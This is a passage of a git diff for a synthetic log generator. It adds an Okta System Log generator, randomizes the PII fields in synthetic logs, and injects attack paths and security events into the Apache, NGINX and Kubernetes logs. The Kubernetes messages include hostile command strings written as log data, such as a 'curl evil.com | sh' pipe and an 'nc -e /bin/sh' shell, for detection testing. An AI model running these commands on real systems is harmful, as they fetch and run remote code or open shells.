diff --git a/cmd/blitz/main.go b/cmd/blitz/main.go
index bf70e0d..8ae9299 100644
--- a/cmd/blitz/main.go
+++ b/cmd/blitz/main.go
@@ -24,6 +24,7 @@ import (
"github.com/observiq/blitz/generator/kubernetes"
"github.com/observiq/blitz/generator/nginx"
gennop "github.com/observiq/blitz/generator/nop"
+ "github.com/observiq/blitz/generator/okta"
"github.com/observiq/blitz/generator/paloalto"
"github.com/observiq/blitz/generator/postgres"
"github.com/observiq/blitz/generator/winevt"
@@ -388,6 +389,16 @@ func run(cmd *cobra.Command, args []string) error {
logger.Error("Failed to create File generator", zap.Error(err))
return err
}
+ case config.GeneratorTypeOkta:
+ generatorInstance, err = okta.New(
+ logger,
+ cfg.Generator.Okta.Workers,
+ cfg.Generator.Okta.Rate,
+ )
+ if err != nil {
+ logger.Error("Failed to create Okta generator", zap.Error(err))
+ return err
+ }
default:
logger.Error("Invalid generator type", zap.String("type", string(cfg.Generator.Type)))
return fmt.Errorf("invalid generator type: %s", cfg.Generator.Type)
diff --git a/docker/README.md b/docker/README.md
index ce055ec..30a40c7 100644
--- a/docker/README.md
+++ b/docker/README.md
@@ -8,7 +8,7 @@ A Docker Compose setup that runs all Blitz log generators simultaneously and sen
┌─────────────────┐
│ blitz-json │──┐
├─────────────────┤ │
-│ blitz-pii │──┤ (10x workers - 37 PII types)
+│ blitz-pii │──┤ (37 PII types)
├─────────────────┤ │
│ blitz-winevt │──┤
├─────────────────┤ │
@@ -20,7 +20,9 @@ A Docker Compose setup that runs all Blitz log generators simultaneously and sen
├─────────────────┤ │
│ blitz-postgres │──┤
├─────────────────┤ │
-│ blitz-kubernetes│──┘
+│ blitz-kubernetes│──┤
+├─────────────────┤ │
+│ blitz-okta │──┘
└─────────────────┘
```
@@ -54,7 +56,7 @@ docker compose -f docker/docker-compose.telemetry-generator.yml up
|----------|---------|-------------|
| `BLITZ_RATE` | `1s` | Log generation rate per generator |
| `BLITZ_WORKERS` | `1` | Number of workers per generator |
-| `BLITZ_PII_WORKERS` | `10` | Number of workers for PII generator (10x default for comprehensive testing) |
+| `BLITZ_PII_WORKERS` | `1` | Number of workers for PII generator |
### Examples
@@ -86,15 +88,16 @@ docker compose -f docker/docker-compose.telemetry-generator.yml up -d
| Generator | Log Type | Description |
|-----------|----------|-------------|
| `blitz-json` | JSON | Structured JSON logs |
-| `blitz-pii` | PII | JSON logs with 37 PII types (SSN, credit card, email, passport, API keys, JWT, etc.) - runs at 10x rate |
+| `blitz-pii` | PII | JSON logs with 37 PII types (SSN, credit card, email, passport, API keys, JWT, etc.) |
| `blitz-winevt` | Windows Event | Windows Event logs in XML format |
| `blitz-palo-alto` | Palo Alto | Firewall syslog entries |
-| `blitz-apache-common` | Apache Common | Apache Common Log Format (CLF) |
+| `blitz-apache-common` | Apache Common | Apache Common Log Format (CLF) with security attack patterns |
| `blitz-apache-combined` | Apache Combined | Apache Combined Log Format with referer/user-agent |
| `blitz-apache-error` | Apache Error | Apache error log format |
-| `blitz-nginx` | NGINX | NGINX Combined Log Format |
-| `blitz-postgres` | PostgreSQL | PostgreSQL database logs |
-| `blitz-kubernetes` | Kubernetes | Container logs in CRI-O format |
+| `blitz-nginx` | NGINX | NGINX Combined Log Format with security attack patterns |
+| `blitz-postgres` | PostgreSQL | PostgreSQL database logs with security events |
+| `blitz-kubernetes` | Kubernetes | Container logs in CRI-O format with security events |
+| `blitz-okta` | Okta | Okta System Log events (authentication, security, lifecycle) |
## Running Individual Generators
@@ -117,7 +120,21 @@ docker compose -f docker/docker-compose.telemetry-generator.yml down
| File | Description |
|------|-------------|
| `docker-compose.telemetry-generator.yml` | Docker Compose configuration |
-| `collector-config.yaml` | Bindplane Agent OTLP receiver configuration |
+
+## Building Local Image
+
+To build and use a local image instead of `ghcr.io/observiq/blitz:latest`:
+
+```bash
+# Build the binary
+CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o package/blitz ./cmd/blitz
+
+# Build the Docker image
+docker build -t blitz:local -f package/Dockerfile package/
+
+# Update compose file to use local image
+sed -i 's|ghcr.io/observiq/blitz:latest|blitz:local|g' docker/docker-compose.telemetry-generator.yml
+```
## Kubernetes Deployment
diff --git a/docker/collector-config.yaml b/docker/collector-config.yaml
deleted file mode 100644
index f071d70..0000000
--- a/docker/collector-config.yaml
+++ /dev/null
@@ -1,38 +0,0 @@
-# BDOT Collector Configuration for Telemetry Generator
-#
-# This is a minimal configuration that enables the OTLP receiver.
-# The actual export configuration will be managed by Bindplane via OpAMP.
-#
-# When connected to Bindplane via OpAMP, the configuration will be replaced
-# with the configuration pushed from Bindplane.
-
-receivers:
- otlp:
- protocols:
- grpc:
- endpoint: 0.0.0.0:4317
- http:
- endpoint: 0.0.0.0:4318
-
-processors:
- batch:
- timeout: 5s
- send_batch_size: 1000
-
-exporters:
- # Debug exporter for initial testing - Bindplane will configure actual exporters via OpAMP
- debug:
- verbosity: basic
- sampling_initial: 5
- sampling_thereafter: 200
-
-service:
- pipelines:
- logs:
- receivers: [otlp]
- processors: [batch]
- exporters: [debug]
-
- telemetry:
- metrics:
- level: none
diff --git a/docker/docker-compose.telemetry-generator.yml b/docker/docker-compose.telemetry-generator.yml
index c517d84..329a741 100644
--- a/docker/docker-compose.telemetry-generator.yml
+++ b/docker/docker-compose.telemetry-generator.yml
@@ -15,6 +15,7 @@
# Optional environment variables:
# - BLITZ_RATE: Log generation rate (default: 1s)
# - BLITZ_WORKERS: Workers per generator (default: 1)
+# - BLITZ_PII_WORKERS: PII workers (default: 1)
x-blitz-common: &blitz-common
image: ghcr.io/observiq/blitz:latest
@@ -43,6 +44,8 @@ services:
ports:
- "4317:4317" # OTLP gRPC
- "4318:4318" # OTLP HTTP
+ volumes:
+ - collector-data:/etc/otel
networks:
- telemetry-net
@@ -58,13 +61,12 @@ services:
BLITZ_OUTPUT_OTLPGRPC_PORT: "4317"
# PII Log Generator (JSON with comprehensive PII data - 37 sensitive data types)
- # Runs at 10x rate compared to other generators for thorough PII testing
blitz-pii:
<<: *blitz-common
environment:
BLITZ_GENERATOR_TYPE: json
BLITZ_GENERATOR_JSON_TYPE: pii
- BLITZ_GENERATOR_JSON_WORKERS: ${BLITZ_PII_WORKERS:-10}
+ BLITZ_GENERATOR_JSON_WORKERS: ${BLITZ_PII_WORKERS:-1}
BLITZ_GENERATOR_JSON_RATE: ${BLITZ_RATE:-1s}
BLITZ_OUTPUT_TYPE: otlp-grpc
BLITZ_OUTPUT_OTLPGRPC_HOST: bdot-collector
@@ -158,7 +160,20 @@ services:
BLITZ_OUTPUT_OTLPGRPC_HOST: bdot-collector
BLITZ_OUTPUT_OTLPGRPC_PORT: "4317"
+ # Okta System Log Generator
+ blitz-okta:
+ <<: *blitz-common
+ environment:
+ BLITZ_GENERATOR_TYPE: okta
+ BLITZ_GENERATOR_OKTA_WORKERS: ${BLITZ_WORKERS:-1}
+ BLITZ_GENERATOR_OKTA_RATE: ${BLITZ_RATE:-1s}
+ BLITZ_OUTPUT_TYPE: otlp-grpc
+ BLITZ_OUTPUT_OTLPGRPC_HOST: bdot-collector
+ BLITZ_OUTPUT_OTLPGRPC_PORT: "4317"
+
networks:
telemetry-net:
driver: bridge
+volumes:
+ collector-data:
diff --git a/docs/generator/okta.md b/docs/generator/okta.md
new file mode 100644
index 0000000..ca976b4
--- /dev/null
+++ b/docs/generator/okta.md
@@ -0,0 +1,54 @@
+# Okta System Log Generator
+
+The Okta generator creates synthetic Okta System Log events in JSON format. It produces realistic authentication, security, user lifecycle, and administrative events that match the Okta System Log API schema.
+
+## Description
+
+The Okta System Log format is a JSON structure that includes event type, actor, client context, outcome, target, and security context fields. The generator produces events across multiple categories: authentication (login, SSO, MFA), security threats (brute force, credential stuffing, impossible travel), user lifecycle (create, activate, suspend, delete), password operations, application and group membership changes, policy management, and administrative actions.
+
+## Example Logs
+
+```json
+{"uuid":"a1b2c3d4-e5f6-7890-abcd-ef1234567890","published":"2025-11-10T21:11:47.123Z","eventType":"user.session.start","version":"0","severity":"INFO","displayMessage":"User login to Okta","actor":{"id":"00u1234567890","type":"User","alternateId":"john.smith@example.com","displayName":"John Smith"},"client":{"userAgent":{"rawUserAgent":"Mozilla/5.0...","os":"Unknown","browser":"UNKNOWN"},"zone":"null","device":"Unknown","ipAddress":"192.168.1.100","geographicalContext":{"city":"San Francisco","state":"California","country":"United States","postalCode":"94102","geolocation":{"lat":37.7749,"lon":-122.4194}}},"outcome":{"result":"SUCCESS"},"target":[{"id":"0oa1234567890","type":"AppInstance","alternateId":"slack","displayName":"Slack"}],"transaction":{"type":"WEB","id":"AbCdEfGhIjKlMnOpQrSt","detail":{}},"authenticationContext":{"authenticationProvider":"OKTA_AUTHENTICATION_PROVIDER","credentialProvider":"OKTA_CREDENTIAL_PROVIDER","credentialType":"PASSWORD"},"securityContext":{"asNumber":12345,"asOrg":"example-isp","isp":"Example ISP","domain":"example.com","isProxy":false}}
+```
+
+## Configuration
+
+| YAML Path | Flag Name | Environment Variable | Default | Description |
+|-----------|-----------|---------------------|---------|-------------|
+| `generator.type` | `--generator-type` | `BLITZ_GENERATOR_TYPE` | `nop` | Generator type. Set to `okta` to use this generator. |
+| `generator.okta.workers` | `--generator-okta-workers` | `BLITZ_GENERATOR_OKTA_WORKERS` | `1` | Number of Okta generator workers (must be >= 1) |
+| `generator.okta.rate` | `--generator-okta-rate` | `BLITZ_GENERATOR_OKTA_RATE` | `1s` | Rate at which logs are generated per worker (duration format) |
+
+## Example Configuration
+
+```yaml
+generator:
+ type: okta
+ okta:
+ workers: 5
+ rate: 100ms
+```
+
+## Event Categories
+
+| Category | Event Types | Severity |
+|----------|------------|----------|
+| Authentication | `user.session.start`, `user.session.end`, `user.authentication.sso`, `user.authentication.auth_via_mfa` | INFO/WARN |
+| Security | `security.threat.detected`, `security.request.blocked`, `user.session.impersonation.start` | WARN/ERROR |
+| User Lifecycle | `user.lifecycle.create`, `user.lifecycle.activate`, `user.lifecycle.deactivate`, `user.lifecycle.suspend` | INFO/WARN |
+| Password | `user.account.update_password`, `user.account.reset_password`, `user.credential.forgot_password` | INFO |
+| Application | `app.user_membership.add`, `app.user_membership.remove`, `application.lifecycle.create` | INFO |
+| Group | `group.user_membership.add`, `group.user_membership.remove`, `group.lifecycle.create` | INFO |
+| Policy | `policy.lifecycle.create`, `policy.lifecycle.update`, `policy.rule.create` | INFO |
+| Admin | `user.account.privilege.grant`, `system.api_token.create`, `system.api_token.revoke` | INFO/WARN |
+
+## Metrics
+
+The Okta generator exposes the following metrics:
+
+- **`blitz.generator.logs.generated`** (Counter): Total number of logs generated
+- **`blitz.generator.workers.active`** (Gauge): Number of active worker goroutines
+- **`blitz.generator.write.errors`** (Counter): Total number of write errors, labeled by `error_type` (`unknown` or `timeout`)
+
+All metrics include a `component` label set to `generator_okta`.
diff --git a/generator/apache/apache.go b/generator/apache/apache.go
index a950b9f..d7e2f2f 100644
--- a/generator/apache/apache.go
+++ b/generator/apache/apache.go
@@ -10,6 +10,7 @@ import (
"time"
"github.com/cenkalti/backoff/v4"
+ "github.com/observiq/blitz/internal/generator/security"
"github.com/observiq/blitz/output"
"go.opentelemetry.io/otel"
"go.opentelemetry.io/otel/attribute"
@@ -266,7 +267,8 @@ func generateRequest(r *rand.Rand) string {
methods := []string{"GET", "POST", "PUT", "DELETE", "PATCH", "HEAD", "OPTIONS"}
method := methods[r.Intn(len(methods))] // #nosec G404
- paths := []string{
+ // Normal paths
+ normalPaths := []string{
"/api/v1/users",
"/api/v1/orders",
"/health",
@@ -285,7 +287,13 @@ func generateRequest(r *rand.Rand) string {
"/api/v1/verification",
}
- path := paths[r.Intn(len(paths))] // #nosec G404
+ // 20% chance of generating a security-focused path
+ var path string
+ if r.Float64() < 0.20 { // #nosec G404
+ path = security.RandomAttackPath(r)
+ } else {
+ path = normalPaths[r.Intn(len(normalPaths))] // #nosec G404
+ }
protocols := []string{"HTTP/1.0", "HTTP/1.1", "HTTP/2.0"}
protocol := protocols[r.Intn(len(protocols))] // #nosec G404
diff --git a/generator/json/json.go b/generator/json/json.go
index 50dfff9..7748516 100644
--- a/generator/json/json.go
+++ b/generator/json/json.go
@@ -3,6 +3,7 @@ package json
import (
"context"
"fmt"
+ "math/rand"
"sync"
"time"
@@ -262,85 +263,9 @@ func formatAsJSON(data logtypes.LogData) (output.LogRecord, error) {
timestamp = d.TimestampVal
severity = d.LevelVal
case *logtypes.PIILogData:
- jsonData = map[string]any{
- "timestamp": d.TimestampVal,
- "level": d.LevelVal,
- "message": d.MessageVal,
-
- // Core PII
- "user_id": d.UserIDVal,
- "ssn": d.SSNVal,
- "iban": d.IBANVal,
- "phone": d.PhoneVal,
- "intl_phone": d.IntlPhoneVal,
- "email": d.EmailVal,
- "credit_card": d.CreditCardVal,
- "dob": d.DOBVal,
- "ipv4": d.IPv4Val,
- "ipv6": d.IPv6Val,
- "mac_address": d.MACAddressVal,
- "street_addr": d.StreetAddrVal,
- "city_state": d.CityStateVal,
- "zip_code": d.ZipCodeVal,
-
- // Government IDs
- "passport": d.PassportVal,
- "drivers_license": d.DriversLicenseVal,
- "national_id": d.NationalIDVal,
-
- // Financial
- "bank_account": d.BankAccountVal,
- "routing_number": d.RoutingNumberVal,
- "crypto_wallet": d.CryptoWalletVal,
-
- // Healthcare
- "medical_record": d.MedicalRecordVal,
- "health_insurance": d.HealthInsuranceVal,
-
- // Vehicle
- "vin": d.VINVal,
- "license_plate": d.LicensePlateVal,
-
- // Employment/Education
- "employee_id": d.EmployeeIDVal,
- "student_id": d.StudentIDVal,
-
- // Authentication/Secrets
- "username": d.UsernameVal,
- "password_hash": d.PasswordHashVal,
- "api_key": d.APIKeyVal,
- "aws_access_key": d.AWSAccessKeyVal,
- "private_key": d.PrivateKeyVal,
- "jwt_token": d.JWTTokenVal,
-
- // Location
- "gps_coords": d.GPSCoordsVal,
- "geohash": d.GeohashVal,
-
- // Personal
- "full_name": d.FullNameVal,
- "mothers_maiden": d.MothersMaidenVal,
- "security_answer": d.SecurityAnswerVal,
- }
+ jsonData = formatPIILogData(d)
timestamp = d.TimestampVal
severity = d.LevelVal
-
- // Add optional fields if they are not empty
- if d.EventVal != "" {
- jsonData.(map[string]any)["event"] = d.EventVal
- }
- if d.DetailVal != "" {
- jsonData.(map[string]any)["detail"] = d.DetailVal
- }
- if d.TypeVal != "" {
- jsonData.(map[string]any)["type"] = d.TypeVal
- }
- if d.ActionVal != "" {
- jsonData.(map[string]any)["action"] = d.ActionVal
- }
- if d.StatusVal != "" {
- jsonData.(map[string]any)["status"] = d.StatusVal
- }
default:
return output.LogRecord{}, fmt.Errorf("unsupported log data type: %T", data)
}
@@ -379,3 +304,110 @@ func (g *JSONLogGenerator) recordWriteError(errorType string, err error) {
),
)
}
+
+// formatPIILogData formats PII log data with a random selection of 1-5 PII fields
+func formatPIILogData(d *logtypes.PIILogData) map[string]any {
+ r := rand.New(rand.NewSource(time.Now().UnixNano())) // #nosec G404
+ return formatPIILogDataWithRand(r, d)
+}
+
+// formatPIILogDataWithRand formats PII log data using the provided rand source
+func formatPIILogDataWithRand(r *rand.Rand, d *logtypes.PIILogData) map[string]any {
+ // All available PII fields
+ piiFields := []struct {
+ key string
+ value any
+ }{
+ // Core PII
+ {"user_id", d.UserIDVal},
+ {"ssn", d.SSNVal},
+ {"iban", d.IBANVal},
+ {"phone", d.PhoneVal},
+ {"intl_phone", d.IntlPhoneVal},
+ {"email", d.EmailVal},
+ {"credit_card", d.CreditCardVal},
+ {"dob", d.DOBVal},
+ {"ipv4", d.IPv4Val},
+ {"ipv6", d.IPv6Val},
+ {"mac_address", d.MACAddressVal},
+ {"street_addr", d.StreetAddrVal},
+ {"city_state", d.CityStateVal},
+ {"zip_code", d.ZipCodeVal},
+
+ // Government IDs
+ {"passport", d.PassportVal},
+ {"drivers_license", d.DriversLicenseVal},
+ {"national_id", d.NationalIDVal},
+
+ // Financial
+ {"bank_account", d.BankAccountVal},
+ {"routing_number", d.RoutingNumberVal},
+ {"crypto_wallet", d.CryptoWalletVal},
+
+ // Healthcare
+ {"medical_record", d.MedicalRecordVal},
+ {"health_insurance", d.HealthInsuranceVal},
+
+ // Vehicle
+ {"vin", d.VINVal},
+ {"license_plate", d.LicensePlateVal},
+
+ // Employment/Education
+ {"employee_id", d.EmployeeIDVal},
+ {"student_id", d.StudentIDVal},
+
+ // Authentication/Secrets
+ {"username", d.UsernameVal},
+ {"password_hash", d.PasswordHashVal},
+ {"api_key", d.APIKeyVal},
+ {"aws_access_key", d.AWSAccessKeyVal},
+ {"private_key", d.PrivateKeyVal},
+ {"jwt_token", d.JWTTokenVal},
+
+ // Location
+ {"gps_coords", d.GPSCoordsVal},
+ {"geohash", d.GeohashVal},
+
+ // Personal
+ {"full_name", d.FullNameVal},
+ {"mothers_maiden", d.MothersMaidenVal},
+ {"security_answer", d.SecurityAnswerVal},
+ }
+
+ // Start with base fields
+ jsonData := map[string]any{
+ "timestamp": d.TimestampVal,
+ "level": d.LevelVal,
+ "message": d.MessageVal,
+ }
+
+ // Add optional context fields if present
+ if d.EventVal != "" {
+ jsonData["event"] = d.EventVal
+ }
+ if d.DetailVal != "" {
+ jsonData["detail"] = d.DetailVal
+ }
+ if d.TypeVal != "" {
+ jsonData["type"] = d.TypeVal
+ }
+ if d.ActionVal != "" {
+ jsonData["action"] = d.ActionVal
+ }
+ if d.StatusVal != "" {
+ jsonData["status"] = d.StatusVal
+ }
+
+ // Shuffle the PII fields
+ r.Shuffle(len(piiFields), func(i, j int) {
+ piiFields[i], piiFields[j] = piiFields[j], piiFields[i]
+ })
+
+ // Select 1-5 random PII fields
+ numFields := r.Intn(5) + 1 // #nosec G404
+ for i := 0; i < numFields && i < len(piiFields); i++ {
+ jsonData[piiFields[i].key] = piiFields[i].value
+ }
+
+ return jsonData
+}
diff --git a/generator/kubernetes/kubernetes.go b/generator/kubernetes/kubernetes.go
index 18f6a33..db3d37f 100644
--- a/generator/kubernetes/kubernetes.go
+++ b/generator/kubernetes/kubernetes.go
@@ -322,21 +322,84 @@ func (g *Generator) generateDatabaseLog(r *rand.Rand) string {
// generateStructuredLog generates a structured key-value log
func (g *Generator) generateStructuredLog(r *rand.Rand) string {
requestID := generateRandomID(r, 16)
- level := []string{"info", "warn", "error", "debug"}[r.Intn(4)] // #nosec G404
- messages := []string{
- "User authentication failed",
- "Cache miss for key",
- "Rate limit exceeded",
- "Database connection established",
- "Session expired",
- "File uploaded successfully",
- "Background job completed",
- "Health check passed",
+
+ // Messages with appropriate severity levels
+ securityMessages := []struct {
+ level string
+ message string
+ }{
+ // Normal operations
+ {"info", "User authentication successful"},
+ {"info", "Cache miss for key"},
+ {"info", "Database connection established"},
+ {"info", "Session created"},
+ {"info", "File uploaded successfully"},
+ {"info", "Background job completed"},
+ {"info", "Health check passed"},
+ {"debug", "Request processed successfully"},
+
+ // Security: Authentication and authorization failures
+ {"warn", "User authentication failed - invalid credentials"},
+ {"warn", "User authentication failed - account locked after 5 attempts"},
+ {"error", "RBAC: access denied for user system:anonymous to resource pods"},
+ {"error", "RBAC: user app-service-account cannot create secrets in namespace production"},
+ {"warn", "ServiceAccount token expired, re-authentication required"},
+ {"error", "Invalid bearer token presented for API authentication"},
+ {"warn", "Rate limit exceeded for user admin-user"},
+ {"error", "Forbidden: user cannot impersonate serviceaccount default/admin"},
+
+ // Security: Container and pod security violations
+ {"error", "Pod security policy violation: privileged containers not allowed"},
+ {"error", "Pod security policy violation: hostNetwork is not allowed"},
+ {"error", "Pod security policy violation: hostPID is not allowed"},
+ {"warn", "Container attempting to run as root user, policy violation"},
+ {"error", "SecurityContext: runAsNonRoot specified but image runs as root"},
+ {"error", "Pod rejected: hostPath volume mount to /etc not permitted"},
+ {"error", "Pod rejected: capabilities add SYS_ADMIN not allowed"},
+ {"warn", "Container image pull from untrusted registry blocked: docker.io/malicious/image"},
+
+ // Security: Secrets and sensitive data access
+ {"warn", "Secret access: user dev-user accessed secret db-credentials in namespace production"},
+ {"error", "Unauthorized attempt to read secret kubernetes-admin-token"},
+ {"warn", "ConfigMap modified: aws-credentials in namespace kube-system"},
+ {"error", "Attempt to mount secret as environment variable blocked by policy"},
+ {"warn", "Service account token mounted in pod without explicit request"},
+
+ // Security: Network policy violations
+ {"error", "NetworkPolicy violation: egress to external IP 185.220.101.45 blocked"},
+ {"warn", "Unexpected outbound connection attempt to port 4444 (common reverse shell)"},
+ {"error", "Pod attempted connection to known malicious IP: 45.33.32.156"},
+ {"warn", "DNS query for suspicious domain: crypto-miner-pool.evil.com"},
+ {"error", "Ingress blocked: source IP 10.0.0.50 not in allowed CIDR range"},
+
+ // Security: Resource and privilege escalation
+ {"error", "Container escape attempt detected: /proc/1/root access denied"},
+ {"warn", "Suspicious process execution in container: /bin/bash -c 'curl evil.com | sh'"},
+ {"error", "Kernel module loading attempt blocked in container"},
+ {"warn", "Container attempting to modify /etc/passwd"},
+ {"error", "Privilege escalation attempt: setuid binary execution blocked"},
+ {"warn", "Container process spawned unexpected child: /usr/bin/nc -e /bin/sh"},
+
+ // Security: Audit and compliance
+ {"warn", "Audit: cluster-admin role bound to user external-contractor"},
+ {"error", "Compliance violation: pod running without resource limits"},
+ {"warn", "Audit: secrets list operation by user jenkins-deployer"},
+ {"error", "Admission webhook rejected pod: missing required security labels"},
+ {"warn", "Node shell access detected via kubectl exec"},
+
+ // Security: Anomalies and threats
+ {"error", "CrashLoopBackOff detected for pod crypto-miner-abc123"},
+ {"warn", "Unusual CPU spike in pod: possible cryptomining activity"},
+ {"error", "OOMKilled: container exceeded memory limit, possible memory bomb"},
+ {"warn", "Pod restarted 15 times in last hour: investigating stability"},
+ {"error", "Image vulnerability scan failed: critical CVE-2024-1234 detected"},
+ {"warn", "Container image signature verification failed"},
}
- message := messages[r.Intn(len(messages))] // #nosec G404
+
+ entry := securityMessages[r.Intn(len(securityMessages))] // #nosec G404
return fmt.Sprintf("%s request_id=%s [%s] %s",
- time.Now().Format("15:04:05.000"), requestID, level, message)
+ time.Now().Format("15:04:05.000"), requestID, entry.level, entry.message)
}
// generateRandomID generates a random alphanumeric ID
diff --git a/generator/nginx/nginx.go b/generator/nginx/nginx.go
index 9b685f6..97f786c 100644
--- a/generator/nginx/nginx.go
+++ b/generator/nginx/nginx.go
@@ -9,6 +9,7 @@ import (
"time"
"github.com/cenkalti/backoff/v4"
+ "github.com/observiq/blitz/internal/generator/security"
"github.com/observiq/blitz/internal/useragent"
"github.com/observiq/blitz/output"
"go.opentelemetry.io/otel"
@@ -332,8 +333,16 @@ func generateRandomIP(r *rand.Rand) string {
// generateRequest generates a random HTTP request string
func generateRequest(r *rand.Rand) string {
- method := httpMethods[r.Intn(len(httpMethods))] // #nosec G404
- path := httpPaths[r.Intn(len(httpPaths))] // #nosec G404
+ method := httpMethods[r.Intn(len(httpMethods))] // #nosec G404
+
+ // 20% chance of generating a security-focused path
+ var path string
+ if r.Float64() < 0.20 { // #nosec G404
+ path = security.RandomAttackPath(r)
+ } else {
+ path = httpPaths[r.Intn(len(httpPaths))] // #nosec G404
+ }
+
protocol := httpProtocols[r.Intn(len(httpProtocols))] // #nosec G404
return fmt.Sprintf("%s %s %s", method, path, protocol)
diff --git a/generator/okta/okta.go b/generator/okta/okta.go
new file mode 100644
index 0000000..d0e879a
--- /dev/null
+++ b/generator/okta/okta.go
@@ -0,0 +1,509 @@
+package okta
+
+import (
+ "context"
+ "fmt"
+ "math/rand"
+ "sync"
+ "time"
+
+ "github.com/cenkalti/backoff/v4"
+ jsonlib "github.com/goccy/go-json"
+ "github.com/observiq/blitz/output"
+ "go.opentelemetry.io/otel"
+ "go.opentelemetry.io/otel/attribute"
+ "go.opentelemetry.io/otel/metric"
+ "go.uber.org/zap"
+)
+
+const (
+ componentName = "generator_okta"
+ meterName = "blitz-generator"
+
+ metricLogsGenerated = "blitz.generator.logs.generated"
+ metricWorkersActive = "blitz.generator.workers.active"
+ metricWriteErrors = "blitz.generator.write.errors"
+
+ errorTypeUnknown = "unknown"
+ errorTypeTimeout = "timeout"
+)
+
+// Generator generates Okta System Log format log data
+type Generator struct {
+ logger *zap.Logger
+ workers int
+ rate time.Duration
+ wg sync.WaitGroup
+ stopCh chan struct{}
+ meter metric.Meter
+
+ oktaLogsGenerated metric.Int64Counter
+ oktaActiveWorkers metric.Int64Gauge
+ oktaWriteErrors metric.Int64Counter
+}
+
+// Predefined data for realistic Okta log generation
+var (
+ eventTypes = []struct {
+ eventType string
+ displayMsg string
+ severity string
+ outcome string
+ category string
+ }{
+ // Authentication events
+ {"user.session.start", "User login to Okta", "INFO", "SUCCESS", "authentication"},
+ {"user.session.end", "User logout from Okta", "INFO", "SUCCESS", "authentication"},
+ {"user.authentication.sso", "User single sign on to app", "INFO", "SUCCESS", "authentication"},
+ {"user.authentication.auth_via_mfa", "Authentication via MFA", "INFO", "SUCCESS", "authentication"},
+ {"user.authentication.verify", "User attempted authentication", "INFO", "SUCCESS", "authentication"},
+
+ // Authentication failures
+ {"user.session.start", "User login to Okta", "WARN", "FAILURE", "authentication"},
+ {"user.authentication.auth_via_mfa", "MFA verification failed", "WARN", "FAILURE", "authentication"},
+ {"user.authentication.verify", "Authentication failed - invalid credentials", "WARN", "FAILURE", "authentication"},
+ {"user.account.lock", "Account locked due to multiple failed attempts", "WARN", "SUCCESS", "authentication"},
+
+ // Security events
+ {"security.threat.detected", "Suspicious activity detected", "WARN", "SUCCESS", "security"},
+ {"security.request.blocked", "Request blocked by security policy", "WARN", "SUCCESS", "security"},
+ {"user.session.impersonation.start", "Admin impersonation session started", "WARN", "SUCCESS", "security"},
+ {"user.session.impersonation.end", "Admin impersonation session ended", "INFO", "SUCCESS", "security"},
+
+ // User lifecycle events
+ {"user.lifecycle.create", "User created in Okta", "INFO", "SUCCESS", "user_management"},
+ {"user.lifecycle.activate", "User activated", "INFO", "SUCCESS", "user_management"},
+ {"user.lifecycle.deactivate", "User deactivated", "INFO", "SUCCESS", "user_management"},
+ {"user.lifecycle.suspend", "User suspended", "WARN", "SUCCESS", "user_management"},
+ {"user.lifecycle.unsuspend", "User unsuspended", "INFO", "SUCCESS", "user_management"},
+ {"user.lifecycle.delete", "User deleted from Okta", "INFO", "SUCCESS", "user_management"},
+
+ // Password events
+ {"user.account.update_password", "User changed password", "INFO", "SUCCESS", "password"},
+ {"user.account.reset_password", "Password reset requested", "INFO", "SUCCESS", "password"},
+ {"user.credential.forgot_password", "Forgot password flow initiated", "INFO", "SUCCESS", "password"},
+
+ // Application events
+ {"app.user_membership.add", "User added to application", "INFO", "SUCCESS", "application"},
+ {"app.user_membership.remove", "User removed from application", "INFO", "SUCCESS", "application"},
+ {"application.lifecycle.create", "Application created", "INFO", "SUCCESS", "application"},
+ {"application.lifecycle.update", "Application updated", "INFO", "SUCCESS", "application"},
+ {"application.lifecycle.delete", "Application deleted", "INFO", "SUCCESS", "application"},
+
+ // Group events
+ {"group.user_membership.add", "User added to group", "INFO", "SUCCESS", "group"},
+ {"group.user_membership.remove", "User removed from group", "INFO", "SUCCESS", "group"},
+ {"group.lifecycle.create", "Group created", "INFO", "SUCCESS", "group"},
+ {"group.lifecycle.delete", "Group deleted", "INFO", "SUCCESS", "group"},
+
+ // Policy events
+ {"policy.lifecycle.create", "Policy created", "INFO", "SUCCESS", "policy"},
+ {"policy.lifecycle.update", "Policy updated", "INFO", "SUCCESS", "policy"},
+ {"policy.lifecycle.delete", "Policy deleted", "INFO", "SUCCESS", "policy"},
+ {"policy.rule.create", "Policy rule created", "INFO", "SUCCESS", "policy"},
+ {"policy.rule.update", "Policy rule updated", "INFO", "SUCCESS", "policy"},
+
+ // Admin events
+ {"user.account.privilege.grant", "Admin privilege granted", "WARN", "SUCCESS", "admin"},
+ {"user.account.privilege.revoke", "Admin privilege revoked", "INFO", "SUCCESS", "admin"},
+ {"system.api_token.create", "API token created", "WARN", "SUCCESS", "admin"},
+ {"system.api_token.revoke", "API token revoked", "INFO", "SUCCESS", "admin"},
+
+ // Suspicious/Attack patterns
+ {"user.session.start", "Login from suspicious location", "WARN", "FAILURE", "security"},
+ {"user.session.start", "Login from new device", "INFO", "SUCCESS", "security"},
+ {"security.threat.detected", "Brute force attack detected", "ERROR", "SUCCESS", "security"},
+ {"security.threat.detected", "Credential stuffing attack detected", "ERROR", "SUCCESS", "security"},
+ {"security.threat.detected", "Impossible travel detected", "WARN", "SUCCESS", "security"},
+ {"user.mfa.factor.deactivate", "MFA factor removed", "WARN", "SUCCESS", "security"},
+ {"user.account.unlock", "Account unlocked by admin", "INFO", "SUCCESS", "security"},
+ }
+
+ actors = []struct {
+ displayName string
+ login string
+ userType string
+ }{
+ {"John Smith", "john.smith@example.com", "User"},
+ {"Jane Doe", "jane.doe@example.com", "User"},
+ {"Bob Wilson", "bob.wilson@example.com", "User"},
+ {"Alice Johnson", "alice.johnson@example.com", "User"},
+ {"System Admin", "admin@example.com", "Admin"},
+ {"Security Admin", "security@example.com", "Admin"},
+ {"Help Desk", "helpdesk@example.com", "Admin"},
+ {"Service Account", "svc-account@example.com", "ServiceAccount"},
+ {"API Client", "api-client@example.com", "ServiceAccount"},
+ {"Unknown Actor", "unknown@suspicious.com", "User"},
+ }
+
+ applications = []struct {
+ name string
+ label string
+ }{
+ {"salesforce", "Salesforce"},
+ {"office365", "Microsoft Office 365"},
+ {"slack", "Slack"},
+ {"aws_console", "AWS Management Console"},
+ {"github", "GitHub Enterprise"},
+ {"jira", "Atlassian Jira"},
+ {"workday", "Workday"},
+ {"servicenow", "ServiceNow"},
+ {"zoom", "Zoom"},
+ {"google_workspace", "Google Workspace"},
+ }
+
+ userAgents = []string{
